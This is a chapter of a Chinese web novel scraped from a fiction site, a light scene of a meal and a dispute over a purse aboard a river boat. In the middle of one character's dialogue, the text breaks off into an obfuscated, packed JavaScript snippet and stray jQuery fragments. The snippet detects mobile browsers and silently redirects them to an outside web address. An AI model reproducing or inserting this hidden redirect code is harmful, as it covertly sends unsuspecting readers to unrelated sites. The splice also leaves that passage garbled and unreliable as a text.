文趣网 > 都市小说 > 抡大锤的我与春神死同穴 > 34. 吃个鸡爪挠挠吧
    这股怒气一直延续到她跟林梵儿转去了身旁的树丛中,化出人身来,然后跟着他们登船后,还没有作罢。

    林梵儿平素最讨小孩子喜欢,也见多了他们的小脾气,知道这时候不哄不行,可是一味只哄更不行,只会让他们借题发挥,变本加厉。

    于是她牵着阿音在甲板上站着吹风,使出了杀手锏:“对了,你既然以后要跟着我,总要好好照顾你。你先说说看,平时有什么爱吃的,我好对照投喂。”

    果然,这世间没有一个人能抗拒的了“吃”这个字,阿音顿时双眼发亮:“我喜欢叶尖露、蕊房蜜、林下菌、萼底浆,鲜果喜欢丹荔、芦橘、龙眼、林檎。嗯,还要吃炙狸脊、柏熏獐条、青枝燎兔、风晾鹿脯……”

    越往后说,便越豪放起来。

    林梵儿听得目瞪口呆:“前面的也就罢了,怎么你还吃肉啊?”

    “嗯?嗯……”阿音也知道自己出身灵禽仙宠,吃这些烟熏火燎的肉食的确有失身份。可是她生在凡俗人间,一路浸在红尘烟火里长大,和凡人学会的第一件事,就是口腹之欲。

    不过,有一样她是绝对不吃的,那就是——鱼!

    她的颜悦哥哥是龙鲤一族,乃淡水水族之主,她不忍心食用他的同族,所以从来对鱼鲜敬谢不敏。

    偏偏日头西斜,他们二人一妖……不对,应该是一人两妖,围桌吃晚膳时,桌上竟然有一碟清蒸鲥鱼。

    其他的菜色都很平常,毕竟是行船江上,点菜的选择有限。不过林梵儿还是尽量照顾小姑娘,给她点了个鹿脯磨牙。

    阿音就一面“咯吱咯吱”地嚼着,一面直截了当问:“林姐姐,你是不是养不起我?没事,现在你们吃什么,我就吃什么,以后有机会请你们去钱塘游玩,我来做东,你们想吃什么都管够。”

    嚯,这豪迈的性子!林梵儿越看越觉得她有意思,大方道:“怎么能让你小孩儿家招待我们。还有,姐姐既然答应照顾你,就没有养不起的道理,一定让你吃得开心舒畅,以后养得白白胖胖,回到钱塘后让你的颜悦哥哥对你刮目相看。”

    与她对面而坐的凌渊本来吃鱼吃得津津有味,忽然听到这番话,气得一筷子都吃不下去了——

    好啊,对我便悭吝小气,连条鱼都要本君亲自开口讨要,对这只小妖反而就“没有养不起的道理”了?!!!

    凌渊极度不悦:“咳咳咳!”还要把她养得白白胖胖?胡乱许什么诺!

    阿音被哄得笑容满面,偏偏得了便宜还卖乖,冲凌渊眨着眼睛道:“公子,你是不是喉咙发痒啊,喏,吃点这个挠挠。”

    被挪到他面前的是一盘虎皮凤爪。

    林梵儿:“……”

    凌渊:“……”

    阿音见他吃瘪,终于舒了一口气,大声腹诽:哼!明知我是羽爪一族,偏偏还点这个恶心人,看我不报复回来!”

    膳毕,厨房的帮工端了一碗药过来,凌渊示意其放在林梵儿面前。

    她有些不解,眨了眨眼睛。

    “你的药,忘了?”

    林梵儿恍然,这是他专程从风仙师那里求来的,据说还加入了一种名为“月蜜缕”的药材。

    她于是坐在桌边,端着温热的药碗小口啜饮。阿音看着,自以为是地替她觉得苦,一阵阵地蹙眉。

    “其实这药味道很好,不但不苦,而且芬芳可口。”林梵儿觉得这小妖还算可塑,所以才对她极有耐心。

    若是她知道阿音已经五百岁了,大概便会缄口了。

    可是,对妖族知之甚少的她眼中,阿音不过就是一个可爱稚嫩的小姑娘,邻家妹妹一般,即使她言辞无状,行事偏激,可看在她年幼的份上,教一教,总能将习性扳回来的。

    不过,年少情痴,她与那个颜悦与柳殷殷之间,究竟是怎么回事?

    如果换了旁人,她不会直截了当便问,就譬如凌渊吧,若是他心中有什么人,必定得旁敲侧击、步步为营方可探得一二,或许还是真假掺半,难以辩驳。

    可面对这样喜怒皆形于色,口口声声和她的颜悦哥哥青梅竹马的小姑娘,大概把她卖了,她还得替人数钱。和她越迂回含蓄,反倒越适得其反。

    比如眼下吧。

    阿音凑近她的药抽了抽鼻子,虽然闻到了一股奇异的清香,却好像根本不相信药能好吃了的样子,脸甚至有些夸张地皱了起来:“药怎么能可口?药都是苦的!涩的!幼时我身体欠佳,几乎能吃饭时就要喝药,每次都苦得舌头发麻!后来有了颜悦哥哥哄我,这药才勉强能入口了一些……”

    她嘟囔着,看到药就一副苦大仇深的模样。

    “林姐姐你说——就算是良药,可为什么非得是苦的!那些药植也是,就不能长得甜美好吃一些么!”

    林梵儿被这天真的念头逗得发笑:“长得甜美好吃,就是为了让人摘来吃么?“

    阿音一副理所当然的样子:“自然,你看它们已经尽力自保,要么将自己长得苦涩不堪,要么就是有毒长刺,可是你瞧瞧,你们人族哪样放过了?不是该吃吃,该煮煮,有什么分别嘛!如果我是它们,宁可长得甜美,哪怕只是甜一甜自己也好啊,不枉此生!”

    林梵儿:“……”

    她竟无言以对,总觉得这只小妖句句都是歪理,可是偏偏无从辩驳。

    “罢了,你说得有理。”片刻后,林梵儿果断放弃了自己“好为人师”的想法,甘拜下风。

    “真的?你也觉得有理?嘿嘿,我随便说说的。”阿音的裂开唇角,露出了那两颗俏皮的小虎牙,眼睛眯成了一条缝,满是小女孩的俏皮娇憨。

    林梵儿本想腹诽这姑娘太过直白,却被她这天真烂漫所感染,就也抿了抿唇,笑眼弯弯。

    “世人皆云,大智若愚,我看你倒是得其精髓。”她诚心夸赞道。

    却不料这小妖入世未深,听不懂这文绉绉的人言,闻之撇了撇嘴:“若愚?总觉得你是在贬我。”

    林梵儿:“……”

    把天聊死了。

    她索性将碗底的药一口闷了,闭上了嘴。

    话不会说,察言观色的本事也需得多练,阿音自顾自地道:“林姐姐,你是生了什么重病吗?”

    “为什么这么问?”林梵儿好奇道:“是因为我喝药吗?”

    阿音托着腮摇了摇头:“点了菜后你去厨房挑鲥鱼的时候,我见凌公子特意叫了那个帮工过来,把药包交给了他,嘱咐他一定要每日按时把药煎好送来,且还要什么先浸再煮,火候不能相差一丝一毫等苛刻要求。

    那帮工本来不大情愿,凌公子打赏了他一锭银子才欢欢喜喜地接了这个差事。

    当时我还以为这药是他为自己准备的,所以才能这么一丝不苟。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872018|211465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谁知,他竟然是为了你——所以啊,你是不是生了重病,才让他如此紧张的?”

    林梵儿听着,心头一暖——他真的这么紧张她吗?不但专门加入了调味的药材,还不惜银钱,只为让人能细致地为她煎药。

    等等!她突然意识到自己忽略了一点——阿音说,凌渊打赏了那帮工一锭银子。

    所以,他一个连买锅盔都付不出钱的人,是怎么拿得出这么多银子的?!

    林梵儿下意识地向袖中一摸,果然没有找到钱袋,顿时暖意变作怒气——好啊,原来他说以后由他来管账的话,竟然不是戏言?

    可即便如此,他也不该不问自取,直接把钱袋从她身上摸了去吧?

    正巧凌渊从船尾看完风景缓步而来,船上人多,那副不凡的容貌给他招来了许多注视,有些船客甚至频频侧目。他见林梵儿眉宇间凝着几分不快,目光直直落在自己身上,以为她是对自己这样招摇不满,落座后就乖觉地将那半幅铁面戴在了脸上。

    “这样,总可以了吧?”

    他暗道,没想到她面色未霁,反而愈发凝重起来。

    再看看一旁的阿音,对上他的视线时陡然别开了头。凌渊明白过来,自己反倒坦然,不由探手入袖,摸到那个钱袋,就着宽袍大袖,一下一下地抛着玩。

    等了许久的林梵儿见他揣着明白装糊涂,先避开小孩子:“你去那边玩吧。”

    阿音虽然不明就里,却十分有眼色,事实上,她不开口支开自己,她也打算寻个由头先溜了。

    等这只碍眼的终于离开,凌渊爽快地把钱袋拿了出来:“喏,你想问的是这个吧?”

    林梵儿没动,甚至没看那钱袋一眼,只问:“你果真没将我的话放在心上。”

    “民生多艰那句吗?”凌渊不卑不亢:“我记得。”

    林梵儿:“……”

    她把钱袋提起来在手中掂了掂:“只是为煎一碗药,你就打赏十两。看来凌公子是真的体谅旁人不易,出手委实大方!”

    相处了这几天下来,她少有这样冷嘲热讽过,可见是气得狠了。可凌渊知道和女人讲道理对半是徒劳,更不愿和她针锋相对,打算来个欲扬先抑。

    于是,他诚恳道歉:“是我错了!不该不经你同意,就擅自动这里面的银钱。”

    林梵儿本来想说自己不是这个意思,她其实准备了很多其他道理,比如“在这种离天离地之所如此大手笔露财,怕是会引来觊觎和祸端”,又比如“即便体谅民生艰苦,可让一个人突然得到这么一笔意外之财,难免他不会就此迷失本心,贪念横生,从此不事生产,反而会害了他。”

    可是还没等她把这些话说出来,凌渊却率先开口道:“你是不是不知道自己把钱袋丢在哪儿了?”

    林梵儿闻言一惊:“丢?”

    “没错,你去厨房点菜,回来时钱袋就已经不在你的身上了,还是那位帮工无意中捡到,特地送回来的。我见他为人淳朴,才将煎药这等大事托付给他。那十两银,一半是打赏,一半是替你谢他拾金不昧。”

    林梵儿:“……居然是这样。”

    她顿时为自己妄自揣测人心而颇为愧疚,又对凌渊十分不好意思,刚要开口道歉,没想到却听他说:“你这样谨慎细致的人竟能丢了钱袋,恐怕不是意外吧?”

    林梵儿心中“咯噔”一下。